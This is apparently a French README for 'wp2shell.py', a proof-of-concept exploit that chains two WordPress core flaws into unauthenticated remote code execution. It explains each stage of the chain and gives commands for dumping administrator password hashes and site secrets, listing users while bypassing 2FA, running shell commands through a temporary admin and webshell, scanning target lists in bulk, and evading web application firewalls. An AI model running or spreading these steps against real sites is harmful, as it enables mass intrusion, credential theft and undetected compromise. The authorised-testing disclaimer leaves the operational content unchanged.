
PoC RCE pré-authentification pour le cœur de WordPress — enchaîne CVE-2026-63030 (désynchronisation par confusion de routes REST /batch/v1) avec CVE-2026-60137 (SQLi author__not_in) pour obtenir un shell non authentifié. Test autorisé uniquement.
PoC de RCE sans authentification dans le cœur de WordPress enchaînant CVE-2026-63030 + CVE-2026-60137. Test autorisé uniquement.
wp2shell.py est une preuve de concept mono-fichier, utilisant uniquement la bibliothèque standard, qui enchaîne
deux vulnérabilités du cœur de WordPress pour aboutir à une exécution de code à distance sans authentification :
| CVE | Composant | Défaut |
|---|---|---|
| CVE-2026-63030 | Gestionnaire REST /batch/v1 | désynchronisation par confusion de route — le gestionnaire de lots perd la synchronisation entre sa table de gestionnaires et sa table de validation dès qu'un chemin de sous-requête ne peut pas être analysé, si bien qu'une sous-requête est routée via un gestionnaire pour lequel elle n'a jamais été validée. |
| CVE-2026-60137 | WP_Query | injection SQL scalaire — la valeur de author__not_in est insérée telle quelle dans le SQL, donc une chaîne qui l'atteint est injectable. |
Aucune des deux n'est une RCE à elle seule. La désynchronisation est le moyen de livraison (elle fait passer clandestinement une chaîne de l'attaquant dans une requête qu'elle ne devrait jamais atteindre) ; l'injection est la primitive. Ensemble, elles offrent à un attaquant non authentifié un oracle SQL complet en lecture/écriture, et de là, un shell fonctionnel.
⚠️ Test autorisé uniquement. Cet outil exploite des installations WordPress actives. Ne l'utilisez que contre des systèmes dont vous êtes propriétaire ou pour lesquels vous disposez d'une autorisation écrite explicite de test.
Vulnérables : 6.8.0–6.8.5, 6.9.0–6.9.4, 7.0.0–7.0.1 Corrigées : 6.8.6, 6.9.5, 7.0.2 (et ultérieures) Signalées par Adam Kues (Assetnote / Searchlight Cyber) ; l'injection SQL est également créditée à TF1T, dtro, haongo.
Seules les versions 6.9.0–7.0.1 sont capables de RCE. Sur la ligne 6.8.x, la désynchronisation se déclenche toujours, mais la
branche qui désalignerait le gestionnaire provoque à la place une erreur fatale WP_Error::get_method() —
la 6.8.x est donc un déni de service / crash, pas un shell. L'outil le détecte et vous indique
quelle primitive est disponible.
L'exploit est construit en couches ; chacune est un pont vers la suivante.
Désynchronisation (CVE-2026-63030). Une requête par lots imbrique un second lot. Une sous-requête
transporte un chemin volontairement malformé (http://:, que wp_parse_url() rejette).
En 6.9.0+, l'échec d'analyse fait dériver les tables de gestionnaires et de validation d'une entrée,
si bien que la sous-requête suivante est routée vers un gestionnaire pour lequel elle n'a jamais été validée — la
collection publique de posts.
Injection (CVE-2026-60137). Cet appel mal routé atteint WP_Query avec un
author__not_in contrôlé par l'attaquant. Un UNION ALL SELECT n'y lit pas les lignes —
il les fabrique, ce qui nous permet de forger des posts arbitraires dans le résultat de la requête.
Pont SQL → écriture. Les posts forgés portent un balisage [embed]. WordPress
les résout consciencieusement et les met en cache comme de véritables lignes oembed_cache de post-meta — transformant
une injection en lecture seule en primitive d'écriture arbitraire.
Pivot de privilèges. Grâce à ce pont d'écriture, nous forgeons (a) un changeset
du customizer dont l'auteur est le véritable administrateur et (b) un post request auto-référentiel. Ensemble,
ils forcent WordPress à réexécuter son propre pipeline de requêtes en tant que cet administrateur — une fenêtre
juste assez longue pour qu'un appel en file d'attente crée un nouvel administrateur.
Pour le côté lecture (--dump, résolution du préfixe, IDs en cache), l'outil sélectionne automatiquement l'oracle le plus rapide qui fonctionne et s'arrête au premier résultat :
union — UNION in-band : le post_title de la ligne forgée contient |||HEX(value)|||,
qui est reflété tel quel dans le corps de la réponse /wp/v2/posts. Lit une valeur entière
(de n'importe quelle longueur) en une seule requête. Si l'UNION se reflète, les oracles booléens ne sont jamais sondés.bool — oracle booléen X-WP-Total : l'en-tête X-WP-Total de la sous-réponse confuse
vaut count>0 pour vrai / 0 pour faux. Un bit par requête (bissection).time — SLEEP() basé sur le temps : le repli lorsque le corps est supprimé et que la
réponse est une 500 (par exemple une erreur fatale post-dispatch provenant d'un mu-plugin de cache). Fonctionne même sur
des cibles qui plantent à chaque appel REST.--dump utilise GROUP_CONCAT pour récupérer tous les identifiants en une seule fois lorsque l'UNION est disponible.
Aucune. Uniquement la bibliothèque standard Python 3.7+ — pas de pip install.
chmod +x wp2shell.py
# 1. Is it vulnerable? (no injection, no writes, no account created)
./wp2shell.py http://target --check
# 2. Read-only credential dump — FIRST administrator + option secrets
./wp2shell.py http://target --dump
# …every administrator
./wp2shell.py http://target --dump all
# 3. Full RCE — create a temp admin, run a command, clean up
./wp2shell.py http://target --exec "id; uname -a"
./wp2shell.py http://target --user-list # full user table (logins/emails/roles)
./wp2shell.py http://target --content # every post type at status=any (private/draft)
./wp2shell.py http://target --content full # …including each item's raw body
./wp2shell.py -f targets.txt --check --target-threads 8
$wp$2y$… / $P$… / $2y$…) vont directement dans hashcat (-m 3200 pour phpass, ou le mode bcrypt WP). WordPress 6.8+ utilise le bcrypt $wp$….--dump cible par défaut uniquement le premier administrateur. Utilisez --dump all pour la liste complète des administrateurs.--oracle time --dump pour récupérer les hashs.Le chemin --exec est conçu pour ne laisser aucune trace : l'administrateur temporaire, ses usermeta, les lignes oembed_cache forgées et la webshell téléversée sont tous supprimés avant la sortie de l'outil. Il n'y a pas d'option --keep — un opérateur ne devrait jamais laisser un compte administrateur actif créé par un attaquant sur le système d'un client.
wp2shell.py — l'exploit (fichier unique, bibliothèque standard uniquement).La découverte des vulnérabilités, leur divulgation et l'analyse originale de « wp2shell » sont créditées à l'équipe de recherche Searchlight Cyber / Assetnote :
/batch/v1WP_Query author__not_inCe dépôt est une implémentation indépendante de preuve de concept de la chaîne d'exploitation qu'ils ont divulguée ; il ne revendique pas la découverte des vulnérabilités sous-jacentes. Si une attribution est incomplète ou incorrecte, ouvrez une issue et elle sera corrigée.
Ceci est une preuve de concept de recherche en sécurité pour des tests d'intrusion autorisés et une validation défensive. L'exécuter contre des systèmes dont vous n'êtes pas propriétaire ou pour lesquels vous n'avez pas d'autorisation écrite de test est illégal. L'auteur décline toute responsabilité en cas d'utilisation abusive.
POST /wp/v2/usersShell. Connectez-vous en tant que nouvel administrateur, téléversez un plugin, exécutez la commande. Le compte, ses meta, les lignes oembed et la webshell sont ensuite tous nettoyés — aucune empreinte persistante n'est laissée.
| Option | Description |
|---|
url / -f FILE | cible unique, ou fichier de cibles (une URL par ligne) |
--check | vérification de vulnérabilité uniquement — pas d'injection, d'écriture ni de compte |
--dump [all] | extraire le hash du premier administrateur + les secrets ; all = tous les administrateurs |
--exec CMD | créer un administrateur temporaire → exécuter CMD → nettoyer |
--user-list | lecture in-band privilégiée de la table complète des utilisateurs (sans connexion, contourne la 2FA) |
--content [full] | lecture privilégiée de chaque type de publication à status=any ; full ajoute les corps |
--oracle {auto,union,bool,time} | forcer un oracle d'extraction (défaut auto) |
--prefix PFX | forcer le préfixe de table au lieu de la résolution automatique |
--impersonate UID | usurper cet identifiant utilisateur au lieu du premier administrateur |
--threads N | sondes d'extraction concurrentes sur une seule cible (défaut 5) |
--target-threads N | analyser N cibles depuis -f en parallèle (défaut 1) |
--proxy URL | passer par un proxy (ex. Burp http://127.0.0.1:8080) |
--timeout SEC | délai d'expiration par requête (défaut 30) |
--verbose / -v | afficher les sous-réponses batch brutes (débogage) |
| Option | Description |
|---|
--form | envoyer le batch en multipart/form-data (URL propre, sans ?rest_route=) |
--permalink [PREFIX] | router via /<PREFIX>/batch/v1 (défaut wp-json) ; garde la charge utile hors de l'URL et hors de $_POST. Astuce : --permalink index.php/wp-json atteint REST via PATH_INFO, échappant aux règles ancrées sur /wp-json |
--dummy N | préfixer N octets de déchets dans le corps pour faire déborder le tampon d'inspection du WAF |
--donor {widgets,categories,tags} | changer la route donneuse de confusion si l'une renvoie une 500 (défaut widgets) |
--per-page N | forger per_page (-1 ou un grand nombre positif renvoient toutes les lignes ; utilisez un grand nombre positif si la cible renvoie une 500 sur -1) |
--users-route PATH | variante de casse/requête pour l'appel de création d'utilisateur (/wp/v2/Users, …?_=1) |
--primer PATH | chemin de désynchronisation malformé alternatif si un WAF identifie le http://: par défaut |
--user-agent UA | fixer le UA (défaut : un UA de navigateur réaliste aléatoire à chaque exécution) |
--embed-base URL | remplacer la base d'URL oembed (éviter une boucle d'auto-intégration) |